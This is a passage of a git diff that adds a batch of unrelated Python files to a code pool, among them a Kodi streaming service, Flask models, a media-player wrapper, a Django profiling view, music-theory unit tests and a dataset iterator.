"".join(["%s%s%s" % (chr(2),chr(len(r)),r) for r in rs]) + return "%s%s" % (chr(len(parameters)),parameters) + + @staticmethod + def unpack (data): + def _key_values (name, data): + if len(data) < 2: + raise Notify(2,0,"Bad length for OPEN %s (<2) %s" % (name,Capability.hex(data))) + l = ord(data[1]) + boundary = l+2 + if len(data) < boundary: + raise Notify(2,0,"Bad length for OPEN %s (buffer underrun) %s" % (name,Capability.hex(data))) + key = ord(data[0]) + value = data[2:boundary] + rest = data[boundary:] + return key,value,rest + + capabilities = Capabilities() + + option_len = ord(data[0]) + # XXX: FIXME: check the length of data + if option_len: + data = data[1:] + while data: + key,value,data = _key_values('parameter',data) + # Paramaters must only be sent once. + if key == Parameter.AUTHENTIFICATION_INFORMATION: + raise Notify(2,5) + + if key == Parameter.CAPABILITIES: + while value: + capability,capv,value = _key_values('capability',value) + capabilities[capability] = Capability.unpack(capability,capabilities,capv) + else: + raise Notify(2,0,'Unknow OPEN parameter %s' % hex(key)) + return capabilities diff --git a/pool/shard000/Python/0008749_service.py b/pool/shard000/Python/0008749_service.py new file mode 100644 index 0000000000000000000000000000000000000000..70f10ee0a676737b79a4222181014ca23589370f --- /dev/null +++ b/pool/shard000/Python/0008749_service.py @@ -0,0 +1,116 @@ +import xbmc,xbmcaddon +import time, urllib, os, sys +from urlparse import urlparse, parse_qs + +import vars + +#Add src/service in load paths +my_addon = xbmcaddon.Addon(vars.__addon_id__) +addon_dir = xbmc.translatePath( my_addon.getAddonInfo('path') ).decode('utf-8') +sys.path.append(os.path.join(addon_dir, 'src', 'service')) + +import utils +from nbatvlive import LiveTV +from shareddata import SharedData +from base_thread import BaseThread +from player import MyPlayer + + +class PollingThread(BaseThread): + + def __init__(self): + super(PollingThread, self).__init__() + + self.expires = 0 + self.last_refresh = time.time() + self.player = MyPlayer() + self.shared_data = SharedData() + + def refreshLiveUrl(self): + if self.shared_data.get("playing.what") == "nba_tv_live": + #True=force login (refresh cookie) + video_url = LiveTV.getLiveUrl(True) + elif self.shared_data.get("playing.what") == "nba_tv_episode": + start_timestamp = self.shared_data.get("playing.data.start_timestamp") + duration = self.shared_data.get("playing.data.duration") + video_url = LiveTV.getEpisodeUrl(start_timestamp, duration) + + if video_url: + self.readExpiresFromUrl(video_url) + utils.log("Updating live url from service, new url (%s) and expire (%d)" + % (video_url, self.expires)) + + self.player.play(video_url) + + def readExpiresFromUrl(self, url): + url_parts = urlparse(url) + + #Parse query string to dictionary + query_params = parse_qs(url_parts.query) + + #Get the hdnea param, where the "expires" param is + hdnea_params = query_params.get("hdnea")[0] + hdnea_params = hdnea_params.replace('~', '&') + hdnea_params = urllib.unquote(hdnea_params) + + self.expires = parse_qs(hdnea_params).get("expires", 0)[0] + self.expires = int(self.expires) + + def run(self): + while True: + try: + current_playing_url = self.player.getPlayingFile() + self.readExpiresFromUrl(current_playing_url) + utils.log("Playing url: %s - playing cache: %s" % + (current_playing_url, self.shared_data.get("playing")), xbmc.LOGDEBUG) + except: + pass + + if self.shared_data.get("playing.what"): + #Wait second iteration before checking the expiration + if self.shared_data.get("playing.second_iteration") != "1": + xbmc.sleep(2000); + self.shared_data.set("playing.second_iteration", "1") + continue; + + timestamp = time.time() + + #Avoid refreshing too fast, let at least one minute pass from the last refresh + expire_timestamp = max(self.expires, self.last_refresh + 60) + + utils.log("%d seconds to url refresh" % (expire_timestamp - timestamp)) + if timestamp > expire_timestamp: + self.refreshLiveUrl() + self.last_refresh = timestamp + + xbmc.sleep(1000) + + if not self.should_keep_running(): + utils.log("Interrupting service loop") + break + +def main(): + utils.log("starting service...") + + #Reset currently playing video + shared_data = SharedData() + shared_data.set("playing", {}) + + polling_thread = PollingThread() + polling_thread.start() + + if xbmc.__version__ >= '2.19.0': + monitor = xbmc.Monitor() + while not monitor.abortRequested(): + if monitor.waitForAbort(100): + break + else: + while not xbmc.abortRequested: + xbmc.sleep(100) + + utils.log("stopping service..") + + polling_thread.stop() + +if __name__ == "__main__": + main() diff --git a/pool/shard000/Python/0008750_models.py b/pool/shard000/Python/0008750_models.py new file mode 100644 index 0000000000000000000000000000000000000000..3423b08a8653f210fa49ecab5988dd7f6552aa2a --- /dev/null +++ b/pool/shard000/Python/0008750_models.py @@ -0,0 +1,106 @@ +import hashlib +from app import db +from werkzeug.security import generate_password_hash, check_password_hash +from sqlalchemy.orm import exc +from werkzeug.exceptions import abort + +ROLE_USER = 0 +ROLE_ADMIN = 1 + +def get_object_or_404(model, *criterion): + """ Snippet byVitaliy Shishorin, http://flask.pocoo.org/snippets/115/""" + try: + return model.query.filter(*criterion).one() + except exc.NoResultFound, exc.MultipleResultsFound: + abort(404) + + +class User(db.Model): + __tablename__ = 'users' + id = db.Column(db.Integer, primary_key = True) + username = db.Column(db.String(30), unique = True, nullable = False) + password = db.Column(db.String(100)) + name = db.Column(db.String(50)) + email = db.Column(db.String(45)) + role = db.Column(db.SmallInteger, default = ROLE_USER) + + def __init__(self, username, email, password): + self.username = username + self.name = username + self.email = email.lower() + self.set_password(password) + + def set_password(self, password): + self.password = generate_password_hash(password) + + def check_password(self, password): + return check_password_hash(self.password, password) + + def is_authenticated(self): + return True + + def is_active(self): + return True + + def is_anonymous(self): + return False + + def get_id(self): + return unicode(self.id) + + def __repr__(self): + return '' % (self.username) + + def getAvatar(self, size = 160): + email_hash = hashlib.md5(self.email).hexdigest() + return "http://www.gravatar.com/avatar/%s?d=mm&s=%d" % (email_hash, size) + + def is_admin(self): + return self.role == ROLE_ADMIN + + def is_normal_user(self): + return self.role == ROLE_USER + + +class Fact(db.Model): + __tablename__ = 'facts' + id = db.Column(db.Integer, primary_key = True) + front = db.Column(db.String(255), unique = True, nullable = False) + back = db.Column(db.Text) + + def __repr__(self): + return '' % (self.front) + + +class Category(db.Model): + __tablename__ = 'categories' + id = db.Column(db.Integer, primary_key = True) + name = db.Column(db.String(100)) + description = db.Column(db.Text) + + def __repr__(self): + return '' % (self.name) + + +class Deck(db.Model): + __tablename__ = 'decks' + id = db.Column(db.Integer, primary_key = True) + name = db.Column(db.String(100)) + data = db.Column(db.Text) + + def __repr__(self): + return '' % (self.data) + + +class Sentence(db.Model): + __tablename__ = 'sentences' + id = db.Column(db.Integer, primary_key = True) + content = db.Column(db.Text) + meaning_en = db.Column(db.Text) + + def __repr__(self): + return '' % (self.content) + + def __init__(self, content, meaning_en): + self.content = content + self.meaning_en = meaning_en diff --git a/pool/shard000/Python/0008751_StreamHandler.py b/pool/shard000/Python/0008751_StreamHandler.py new file mode 100644 index 0000000000000000000000000000000000000000..1112b24f60335d93f6c7783d088efa98df5bb7fa --- /dev/null +++ b/pool/shard000/Python/0008751_StreamHandler.py @@ -0,0 +1,113 @@ +#Pyxis and Original Sipie: Sirius Command Line Player +#Originally From http://mak.zopelabs.com/xplay/ +#Copyright (C) Corey Ling, Eli Criffield, M. Adam Kendall +# +#This program is free software; you can redistribute it and/or +#modify it under the terms of the GNU General Public License +#as published by the Free Software Foundation; either version 2 +#of the License, or (at your option) any later version. +# +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. +# +#You should have received a copy of the GNU General Public License +#along with this program; if not, write to the Free Software +#Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +import sys, os, subprocess +import fcntl +import datetime +from Config import Config +from Debug import log, logfile + +class StreamHandler(object): + """Handles playing a stream via an external process.""" + def __init__(self, opts): + + config = Config() + self.settings = config.mediaplayer + self.location = None + self.proc = None + self.options = opts + + if self.options.record: + if not os.path.isdir(config.recordings.directory): + os.makedirs(config.recordings.directory) + self.settings.options = self.settings.options + ' ' + self.settings.record + self.settings.options = self.settings.options + config.recordings.directory + + self.command = "%s %s" % (self.settings.command, self.settings.options) + + if os.path.isfile(self.settings.command) == False: + print "Cannot find media player: " + self.settings.command + print "Please check your Pyxis media player settings in " + config.conffile + sys.exit(200) + + def pipeopen(self, cmd, bufsize=0): + """Wrapper function to subprocess.Popen + + cmd: command to be exectuted + + returns: tuple containing pipes stdin and stdout""" + self.proc = subprocess.Popen(cmd, shell=True, bufsize=bufsize, + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, close_fds=True) + fcntl.fcntl(self.proc.stdout, fcntl.F_SETFL, os.O_NONBLOCK) + return (self.proc.stdin, self.proc.stdout) + + def playing(self): + if self.proc: + self.proc.poll() + return self.proc.returncode is None + return False + + def play(self, url, stream): + """Plays the given url + + url: url to play using external command""" + + if self.playing(): + print "Already playing!" + return + + log("Starting mplayer...") + if self.options.record: + if self.options.output: + filename = self.options.output + else: + stream = stream.replace(' ','') + '_' + now = datetime.datetime.now() + filename = stream + now.strftime("%Y-%m-%d_%H-%M-%S") + '.wav' + + mpc = "%s '%s'" % (self.command + filename, url) + else: + mpc = "%s '%s'" % (self.command, url) + log('mpc = %s' % mpc) + self.pipeopen(mpc) + + def cmd(self, command): + """Issue a command to the external programs stdin + + command: command to be sent to the external program""" + if not self.proc: + return + try: + self.proc.stdin.write(command + "\n") + self.proc.stdin.flush() + except StandardError: + return + + def close(self): + """Cleanly closes any IPC resources to process""" + + self.cmd("quit") + + try: + self.proc.terminate() + except StandardError: + pass + + self.proc = None + diff --git a/pool/shard000/Python/0008755_request_detail.py b/pool/shard000/Python/0008755_request_detail.py new file mode 100644 index 0000000000000000000000000000000000000000..caff72158a73668cb1ed8a0e6d5eea7a4c43b333 --- /dev/null +++ b/pool/shard000/Python/0008755_request_detail.py @@ -0,0 +1,42 @@ +import json + +from django.shortcuts import render +from django.utils.decorators import method_decorator +from django.views.generic import View +from silk.auth import login_possibly_required, permissions_possibly_required + +from silk.code_generation.curl import curl_cmd +from silk.models import Request +from silk.code_generation.django_test_client import gen + + +class RequestView(View): + + @method_decorator(login_possibly_required) + @method_decorator(permissions_possibly_required) + def get(self, request, request_id): + silk_request = Request.objects.get(pk=request_id) + query_params = None + if silk_request.query_params: + query_params = json.loads(silk_request.query_params) + body = silk_request.raw_body + try: + body = json.loads(body) # Incase encoded as JSON + except (ValueError, TypeError): + pass + context = { + 'silk_request': silk_request, + 'curl': curl_cmd(url=request.build_absolute_uri(silk_request.path), + method=silk_request.method, + query_params=query_params, + body=body, + content_type=silk_request.content_type), + 'query_params': json.dumps(query_params, sort_keys=True, indent=4) if query_params else None, + 'client': gen(path=silk_request.path, + method=silk_request.method, + query_params=query_params, + data=body, + content_type=silk_request.content_type), + 'request': request + } + return render(request, 'silk/request.html', context) diff --git a/pool/shard000/Python/0008766_CsoundAcUnitTests.py b/pool/shard000/Python/0008766_CsoundAcUnitTests.py new file mode 100644 index 0000000000000000000000000000000000000000..a251a00435dfca4b8f4728682fdc42385eb7b2b5 --- /dev/null +++ b/pool/shard000/Python/0008766_CsoundAcUnitTests.py @@ -0,0 +1,208 @@ +import CsoundAC +import math +import random +import string +import sys +sys.path.append('d:/utah/home/mkg/projects/icmc2006-mkg') +import tonnetz + +print 'UNIT TESTS FOR CsoundAC.Voicelead and CsoundAC.Score' +print + +lowest = 48 +range = 36 +highest = lowest + range + +for i in xrange(36, 96, 1): + p = float(i) + print '%8.3f = Voicelead_pc(%8.3f)' % (CsoundAC.Voicelead_pc(p), p) +print +a = [0, 4, 7, 11] +b = [1, 5, 8, 0] +print '%s = Voicelead_voiceleading(%s, %s)' % (CsoundAC.Voicelead_voiceleading(a, b), a, b) +print +c = [5, 5, 5, 5] +print '%s = Voicelead_areParallel(%s, %s)' % (CsoundAC.Voicelead_areParallel(a, b), a, b) +print '%s = Voicelead_areParallel(%s, %s)' % (CsoundAC.Voicelead_areParallel(a, c), a, c) +print +print '%s = Voicelead_rotate(%s)' % (CsoundAC.Voicelead_rotate(a), a) +print +rotations = CsoundAC.Voicelead_rotations(a) +print '%s = CsoundAC.Voicelead_rotations(%s)' % (a, rotations) +for chord in rotations: + print chord +print +pitches = [65., 69., 72., 76.] +print '%s = Voicelead_pcs(%s)' % (CsoundAC.Voicelead_pcs(pitches), pitches) +print '%8.3f = Voiclead_mFromPitchClassSet(%s)' % (CsoundAC.Voicelead_pitchClassSetToM(pitches), pitches) +print '%8.3f = Voiclead_mFromPitchClassSet(%s)' % (CsoundAC.Voicelead_pitchClassSetToM(a), a) +print +print '%s = Voicelead_pitchClassSetFromM(%8.3f)' % (CsoundAC.Voicelead_mToPitchClassSet(2193), 2193) +print +voicings = CsoundAC.Voicelead_voicings(a, lowest, range, 12) +print 'Voicelead_voicings(%s, %s, %s, %d):' % (a, lowest, range, 12) +for chord in voicings: + print chord +print +CM7 = [60., 64., 67., 71.] +print 'CM7: %s' % (CM7) +FM7 = [65., 69., 72., 76.] +print 'FM7: %s' % (FM7) +G7 = [67., 71., 74., 77.] +print 'G7: %s' % (G7) +t1 = CsoundAC.Voicelead_voicelead(CM7, FM7, lowest, range, False) +print '%s = CsoundAC.Voicelead_voicelead(%s, %s, lowest, range, True)' % (t1, CM7, FM7) +t2 = CsoundAC.Voicelead_voicelead(t1, G7, lowest, range, False) +print '%s = CsoundAC.Voicelead_voicelead(%s, %s, lowest, range, True)' % (t2, t1, G7) +print +t1 = CsoundAC.Voicelead_recursiveVoicelead(CM7, FM7, lowest, range, False) +print '%s = CsoundAC.Voicelead_recursiveVoicelead(%s, %s, lowest, range, True)' % (t1, CM7, FM7) +t2 = CsoundAC.Voicelead_recursiveVoicelead(t1, G7, lowest, range, False) +print '%s = CsoundAC.Voicelead_recursiveVoicelead(%s, %s, lowest, range, True)' % (t2, t1, G7) +print +print 'Inversions of', a +vinversions = CsoundAC.Voicelead_inversions(a) +tonnetz = tonnetz.Tonnetz(4) +tinversions = tonnetz.rotations(a) +for i in xrange(len(vinversions)): + vinversion = vinversions[i] + tinversion = tinversions[i] + print 'inversion of %s: V: %s T: %s' % (a, vinversion, tinversion) + print ' origin chord of inversion: V: %s T: %s' % (CsoundAC.Voicelead_toOrigin(vinversion), tonnetz.zeroForm(tinversion)) + print ' normal chord of inversion: V: %s T: %s' % (CsoundAC.Voicelead_normalChord(vinversion), tonnetz.firstInversion(tinversion)) + print ' zero chord of inversion: V: %s T: %s' % (CsoundAC.Voicelead_primeChord(vinversion), tonnetz.zeroForm(tonnetz.firstInversion(tinversion))) + print ' ' +print +for i in xrange(lowest, range, 1): + print '%8.3f = Voiclead_closestPitch(Voicelead_pc(%d), %s)' %(CsoundAC.Voicelead_closestPitch(i, CM7), i, CM7) +print +for i in xrange(lowest, range, 1): + print '%8.3f = Voiclead_conformToPitchClassSet(%d, %s)' %(CsoundAC.Voicelead_conformToPitchClassSet(i, a), i, a) +print +score = CsoundAC.Score() +for i in xrange(2000): + time = i * 0.125 + duration = 0.5 + key = random.randint(lowest, highest) + velocity = 80.0 + score.append(time, duration, 144.0, 1.0, key, velocity) +score.save('CsoundACUnitTest.py.1.mid') +score.setPitchClassSet(0, len(score), a) +score.save('CsoundACUnitTest.py.2.mid') +score = CsoundAC.Score() +for i in xrange(2000): + time = i * 0.125 + duration = 0.5 + key = random.randint(lowest, highest) + velocity = 80.0 + score.append(time, duration, 144.0, 1.0, key, velocity) +C = CsoundAC.Voicelead_mToC(CsoundAC.Voicelead_pitchClassSetToM([0.,4.,7.,11.,14.]), 12) +for i in xrange(0, len(score), 20): + M = CsoundAC.Voicelead_cToM(C) + pcs = CsoundAC.Voicelead_mToPitchClassSet(M) + print 'M: %8.3f C: %8.3f %s' % (M, C, pcs) + score.setPitchClassSet(i, i + 20, pcs) + result = CsoundAC.Voicelead_uniquePcs(score.getPitches(i, i + 20)) + print 'Result:',result + print ' ' + C = 2 * C + 1 + C = C % 4094 +score.save('CsoundACUnitTest.py.3.mid') +for i in xrange(0, len(score) - 40, 20): + prepitches = score.getPitches(i, i + 20) + score.voicelead(i, i + 20, i + 20, i + 40, lowest, highest - lowest, True) + postpitches = score.getPitches(i + 20, i + 40) + print i, prepitches, postpitches + print i, CsoundAC.Voicelead_uniquePcs(prepitches), CsoundAC.Voicelead_uniquePcs(postpitches) + print ' ' +score.save('CsoundACUnitTest.py.4.mid') + +for n in string.split('C C# D D# E F G G# A A# B'): + name = n + "M7" + chord = CsoundAC.Conversions_nameToPitches(n + "M7") + prime = CsoundAC.Voicelead_primeChord(chord) + print name, chord, prime + p = 0.0 + t = 0.0 + result = CsoundAC.Voicelead_primeAndTranspositionFromPitchClassSet(chord, int(12)) + print result + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pool/shard000/Python/0008774_unsupervised_dataset.py b/pool/shard000/Python/0008774_unsupervised_dataset.py new file mode 100644 index 0000000000000000000000000000000000000000..eeba8a7af4d06824483de15d6c07b0aa97314118 --- /dev/null +++ b/pool/shard000/Python/0008774_unsupervised_dataset.py @@ -0,0 +1,248 @@ +import numpy as np + + +# +# TODO(pkhorrami4) Consider datatype of input (convert to float32, etc.) +# TODO(pkhorrami4) Decide datatype for conversion from theano.config.floatX +# TODO(pkhorrami4) Add centering + rescaling of data as option +# TODO(pkhorrami4) Add verbosity flag option +# + + +class UnsupervisedDataset(object): + # Class to construct an unsupervised dataset + + def __init__(self, X): # , batch_size=None, iter_type=None): + # print('Dataset loaded with size: {}'.format(X.shape)) + self.X = X + self.n_samples = X.shape[0] + self.n_channels = X.shape[1] + self.height = X.shape[2] + self.width = X.shape[3] + + def __iter__(self): + return self.iter # self.iterator() + + def iterator(self, + mode='sequential', + batch_size=None, + num_batches=None, + rng_seed=0): + + if(batch_size is not None): + if(batch_size > self.n_samples): + raise ValueError("batch_size is larger than number of samples") + + if(mode == 'sequential'): + if batch_size is None: + if num_batches is not None: + batch_size = int(self.n_samples / num_batches) + else: + raise ValueError("need one of batch_size, num_batches" + "for sequential batch iteration") + + elif batch_size is not None: + if num_batches is not None: + max_num_batches = int(np.ceil(self.n_samples / batch_size)) + if num_batches > max_num_batches: + raise ValueError("dataset of %d examples can only " + "provide %d batches with batch_size " + "%d, but %d batches were requested" % + (self.n_samples, max_num_batches, + batch_size, num_batches)) + else: + num_batches = int(self.n_samples / batch_size) + + self.iter = DatasetIteratorSequential(self.X, batch_size, + num_batches, self.n_samples) + + elif(mode == 'random_uniform'): + if batch_size is None: + raise ValueError("batch_size cannot be None for random " + "uniform iteration") + elif num_batches is None: + raise ValueError("num_batches cannot be None for random " + "uniform iteration") + self.iter = DatasetIteratorRandomUniform(self.X, + batch_size, + num_batches, + self.n_samples, + rng_seed) + + elif(mode == 'random_uniform_no_rep'): + if batch_size is None: + if num_batches is not None: + # Floor Function chosen to ensure that uneven segment + # (i.e. "runt") is ignored + batch_size = int(np.floor(np.float32(self.n_samples) / + num_batches)) + else: + raise ValueError("need one of batch_size, num_batches" + "for sequential batch iteration") + + elif batch_size is not None: + if num_batches is not None: + max_num_batches = int(np.ceil(self.n_samples / batch_size)) + if num_batches > max_num_batches: + raise ValueError("dataset of %d examples can only " + "provide %d batches with batch_size " + " %d, but %d batches were requested" % + (self.n_samples, max_num_batches, + batch_size, num_batches)) + else: + # Floor Function chosen to ensure that uneven segment + # (i.e. "runt") is ignored + num_batches = int(np.floor(np.float32(self.n_samples) / + batch_size)) + + self.iter = DatasetIteratorRandomUniformNoRep(self.X, + batch_size, + num_batches, + self.n_samples, + rng_seed) + + return self.iter + + def get_num_samples(self): + return self.n_samples + + def get_batch(self): + return self.iter.next() + + +class BasicIterator(object): + + def __init__(self, X, batch_size=None, num_batches=None, num_samples=None): + + self.X = X + self.batch_size = batch_size + self.num_batches = num_batches + self.num_samples = num_samples + # print('Batch Size: {}'.format(batch_size)) + # print('Num Batches: {}'.format(num_batches)) + # print('Num Samples: {}'.format(num_samples)) + + # Batch Counter + self.batch_count = 0 + # Sample Counter + self.sample_count = 0 + # Batch Indices + self.last = 0 + + def reset(self): + self.batch_count = 0 + self.sample_count = 0 + self.last = 0 + + +class DatasetIteratorSequential(BasicIterator): + + # + # Iterator that traverses the data by extracting sequential slices + # of size (batch_size) from the data tensor + # + def __init__(self, X, batch_size=None, num_batches=None, num_samples=None): + # print('Using Sequential Iterator') + super(DatasetIteratorSequential, self).__init__(X, + batch_size, + num_batches, + num_samples) + + def __iter__(self): + return self + + def next(self): + # print('In Dataset_Iter_Seq_Next') + if (self.batch_count >= self.num_batches or + self.sample_count >= self.num_samples): + raise StopIteration() + # fixes the problem where (self._num_samples % self._batch_size) != 0 + elif (self.sample_count + self.batch_size) > self.num_samples: + self.last = slice(self.sample_count, self.num_samples) + self.sample_count = self.num_samples + return self.X[self.last, :, :, :] + else: + self.last = slice(self.sample_count, + self.sample_count + self.batch_size) + self.sample_count += self.batch_size + self.batch_count += 1 + return self.X[self.last, :, :, :] + + +class DatasetIteratorRandomUniform(BasicIterator): + + # + # Iterator that uniformly samples batches of size (batch_size) + # from the data tensor (with replacement) + # + + def __init__(self, X, + batch_size=None, + num_batches=None, + num_samples=None, + rng_seed=0): + # print('Using Random Uniform Iterator (with replacement)') + np.random.seed(rng_seed) + super(DatasetIteratorRandomUniform, self).__init__(X, batch_size, + num_batches, + num_samples) + + def __iter__(self): + return self + + def next(self): + if self.batch_count >= self.num_batches: + raise StopIteration() + else: + self.last = np.random.random_integers(low=0, + high=self.num_samples - 1, + size=(self.batch_size,)) + self.batch_count += 1 + return self.X[self.last, :, :, :] + + +class DatasetIteratorRandomUniformNoRep(BasicIterator): + + # + # Iterator that uniformly samples batches of size (batch_size) + # from the data tensor (without replacement) + # + def __init__(self, X, + batch_size=None, + num_batches=None, + num_samples=None, + rng_seed=0): + # print('Using Random Uniform Iterator (w/o replacement)') + np.random.seed(rng_seed) + self.remain_samples = np.arange(num_samples) + super(DatasetIteratorRandomUniformNoRep, self).__init__(X, + batch_size, + num_batches, + num_samples) + + def __iter__(self): + return self + + def next(self): + if self.batch_count >= self.num_batches: + raise StopIteration() + + else: + idx = np.random.permutation( + np.arange(len(self.remain_samples)))[0:self.batch_size] + self.last = self.remain_samples[idx] + self.remain_samples = np.setdiff1d(self.remain_samples, self.last) + self.batch_count += 1 + return self.X[self.last, :, :, :] + + +if __name__ == "__main__": + # print('Making Datset Object') + X = np.zeros((1024, 3, 5, 5)) + d = UnsupervisedDataset(X) + d.iterator(batch_size=128) + # d.iterator(mode='random_uniform', batch_size=128, num_batches = 1000, + # rng_seed=10) + # d.iterator(mode='RAND_UNIF_nr', batch_size=128) + for i, b in enumerate(d): + print('Batch {} --- {}'.format(i+1, b.shape)) diff --git a/pool/shard000/Python/0008776_pyunit_ascharacter.py b/pool/shard000/Python/0008776_pyunit_ascharacter.py new file mode 100644 index 0000000000000000000000000000000000000000..ad5b083984ef64d8a33d3084a71cf81434ae1198 --- /dev/null +++ b/pool/shard000/Python/0008776_pyunit_ascharacter.py @@ -0,0 +1,14 @@ +import sys +sys.path.insert(1, "../../../") +import h2o + +def ascharacter(ip,port): + h2oframe = h2o.import_file(path=h2o.locate("smalldata/junit/cars.csv")) + h2oframe.show() + h2oframe['cylinders'] = h2oframe['cylinders'].asfactor() + h2oframe['cylinders'].ascharacter() + assert h2oframe["cylinders"].isfactor(), "expected the column be a factor" + assert not h2oframe["cylinders"].isstring(), "expected the column to not be a string" + +if __name__ == "__main__": + h2o.run_test(sys.argv, ascharacter) diff --git a/pool/shard000/Python/0008780_canPartition.py b/pool/shard000/Python/0008780_canPartition.py new file mode 100644 index 0000000000000000000000000000000000000000..141d817d18c6292b767b6d677fb33fbb8c332c50 --- /dev/null +++ b/pool/shard000/Python/0008780_canPartition.py @@ -0,0 +1,75 @@ +''' +Given a non-empty array containing only positive integers, find if the array can be partitioned into two subsets such that the +sum of elements in both subsets is equal. + +Note: + +Each of the array element will not exceed 100. +The array size will not exceed 200. +Example 1: + +Input: [1, 5, 11, 5] + +Output: true + +Explanation: The array can be partitioned as [1, 5, 5] and [11]. +Example 2: + +Input: [1, 2, 3, 5] + +Output: false + +Explanation: The array cannot be partitioned into equal sum subsets. + +Commentary: this is knapsack 0/1 problem in disguise. +''' + +def helper(array,target): + # Initialize a memo. Here, memo[sum] is True if it's possible to + # achieve a sum of 'sum' with a subarray of the input array. + # We eventually want to find whether it's possible to achieve a sum of + # target + memo = {} + # If we choose no elements of the array, we will have achieved a sum + # of zero, so memo[0] is True. This is the base case. + memo[0] = True + + for element in array: + temp_memo = {} + # for all the sums j which are possible to make will all elements + # before the current element, + for j in memo: + new_sum = j + element + if new_sum == target: + return True + elif new_sum > target: + continue + else: + # it is possible to make the new_sum + temp_memo[j + element] = True + # add all these new possible sums from the temp memo into the memo + for i in temp_memo: + memo[i] = temp_memo[i] + + return False + + +def canPartition(array): + # If it's possible to partition into two subarrays of equal sum, then the + # total sum must be even. By contrapositive, if the total sum is odd, + # then it must be impossible to partition into two subarrays of equal sum. + if sum(array) % 2 == 1: + return False + + return helper(array,sum(array)//2) + + +arr1 = [] +arr2 = [1,5,11,5] +arr3 = [1,2,3,4] +arr4 = [1,2,3,5] +arr5 = [1,1,1] +arr6 = [3,3,3,4,5] +arr7 = [1,2,5] + +print(canPartition(arr6)) diff --git a/pool/shard000/Python/0008781_msd.py b/pool/shard000/Python/0008781_msd.py new file mode 100644 index 0000000000000000000000000000000000000000..899a567697af7d05a1b28b29834ae0675f6f3230 --- /dev/null +++ b/pool/shard000/Python/0008781_msd.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Abinit Post Process Application +author: Martin Alexandre +last edited: May 2013 +""" + +import sys,os,time,commands +import string, math + +#GUI +import gui.graph as Graph +import gui.conv as Conv + +#Utility +import utility.write as Write +import utility.analysis as Analysis + +try: + from PyQt4 import Qt,QtGui,QtCore +except: + pass; + +from numpy import * + +#----------------------------------------------------------------# +#---------------WINDOWS-MEAN SQUARED DEPLACEMENT-----------------# +#----------------------------------------------------------------# +class winMSD(QtGui.QWidget): + + PTOE = Analysis.PeriodicTableElement() + + def __init__(self, file, parent = None,name =''): + + self.file = file + self.name = name + self.initUI(parent) + self.displayGraph() + self.raise_() + + def initUI(self, parent): + + #-----------------Creation of the windows----------------------------# + QtGui.QWidget.__init__(self, parent) + self.setAttribute(QtCore.Qt.WA_DeleteOnClose) + self.setWindowTitle(self.name + ' MSD option') + self.setFixedSize(200, 150) + self.center() + self.layout = QtGui.QGridLayout() + self.setLayout(self.layout) + + self.lbl1 = QtGui.QLabel(" Atom type 1 :", self) + self.lbl1.setFixedWidth(95) + + self.CBox1 = QtGui.QComboBox() + self.CBox1.setFixedWidth(70) + + for i in range(len(self.file.getZnucl())): + self.CBox1.addItem(str(self.PTOE.getName(self.file.getZnucl()[i]))) + self.connect(self.CBox1,QtCore.SIGNAL('currentIndexChanged(const QString&)'),self.displayGraph) + + + self.pbClose = QtGui.QPushButton("close") + self.pbClose.setFixedSize(70,20) + self.connect(self.pbClose,QtCore.SIGNAL("clicked()"),QtCore.SLOT('close()')) + + + self.layout.addWidget(self.lbl1 , 1, 0, 1, 1, QtCore.Qt.AlignRight) + self.layout.addWidget(self.CBox1 , 1, 1, 1, 1, QtCore.Qt.AlignCenter) + self.layout.addWidget(self.pbClose , 7, 0, 1, 2, QtCore.Qt.AlignCenter) + + self.show() + #------------------------------------------------------------------------# + + + def displayGraph(self): + + atom = self.CBox1.currentIndex() + 1 + + self.MeanSquaredDeplacement = Analysis.MSD(self.file,atom) + + x = self.MeanSquaredDeplacement.getX() + y = self.MeanSquaredDeplacement.getMSD() + + try: + self.graphMSD.update(x,y,'step', "Mean squared deplacement",name = self.name) + self.graphMSD.addPlot(x,linspace(1,1,len(x))) + self.graphMSD.show() + except: + self.graphMSD = Graph.graphic(x,y,'step', "Mean squared deplacement", average=False,name = self.name) + self.connect(self.graphMSD, QtCore.SIGNAL("myCustomizedSignal()"), self.close) + self.graphMSD.show() + + + def update(self,pfile): + self.file = pfile + atom = self.CBox1.currentIndex() + 1 + try: + self.MeanSquaredDeplacement = Analysis.MSD(self.file,atom) + x = self.MeanSquaredDeplacement.getX() + y = self.MeanSquaredDeplacement.getMSD() + self.graphMSD.update(x,y,'step', "Mean squared deplacement",name = self.name) + self.graphMSD.addPlot(x,linspace(1,1,len(x))) + except: + pass + + def close(self): + del self.graphMSD + del self + + def closeEvent(self, event): + try: + del self.graphMSD + except: + pass + try: + del self + except: + pass + + def center(self): + screen = QtGui.QDesktopWidget().screenGeometry() + size = self.geometry() + self.move((screen.width()-size.width())/2, (screen.height()-size.height())/2) diff --git a/pool/shard000/Python/0008784_lProximitysensor.py b/pool/shard000/Python/0008784_lProximitysensor.py new file mode 100644 index 0000000000000000000000000000000000000000..f08fabd5c58e1d1c85c584bd7fe860d6ac5ba609 --- /dev/null +++ b/pool/shard000/Python/0008784_lProximitysensor.py @@ -0,0 +1,136 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +''' + Copyright © 2016 by Michael Keil + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +''' +import logging +import struct + +import ldvbot +import lCommunication +import lMisc + + +class proximitysensor: + + ''' + proximity sensor LDVbot + ''' + + def __init__(self, bot): + """ + Constructor + + :parameter: bot + :pType: ldvbot.robot + """ + if isinstance(bot, ldvbot.robot): + self._robot = bot + self._communication = lCommunication.communication(self._robot) + + else: + logging.error('Parameter has to be of type robot') + raise ValueError("Parameter has to be of type robot") + + def getValues(self): + 